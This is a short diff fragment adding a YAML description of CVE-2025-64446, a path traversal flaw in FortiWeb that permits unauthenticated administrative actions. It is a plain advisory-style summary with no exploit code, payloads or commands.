+  description: >
+    CVE-2025-64446 is a critical relative path traversal vulnerability in Fortinet FortiWeb
+    WAF versions 8.0.1 and earlier. An unauthenticated attacker can send a crafted HTTP request
+    to traverse from the REST API path into the internal CGI handler, bypassing authentication
+    entirely and allowing execution of privileged administrative commands including creation of
+    new administrator accounts. Actively exploited in the wild since October 2025. Added to
+    CISA KEV catalog on November 14, 2025. Fixed in FortiWeb 8.0.2.
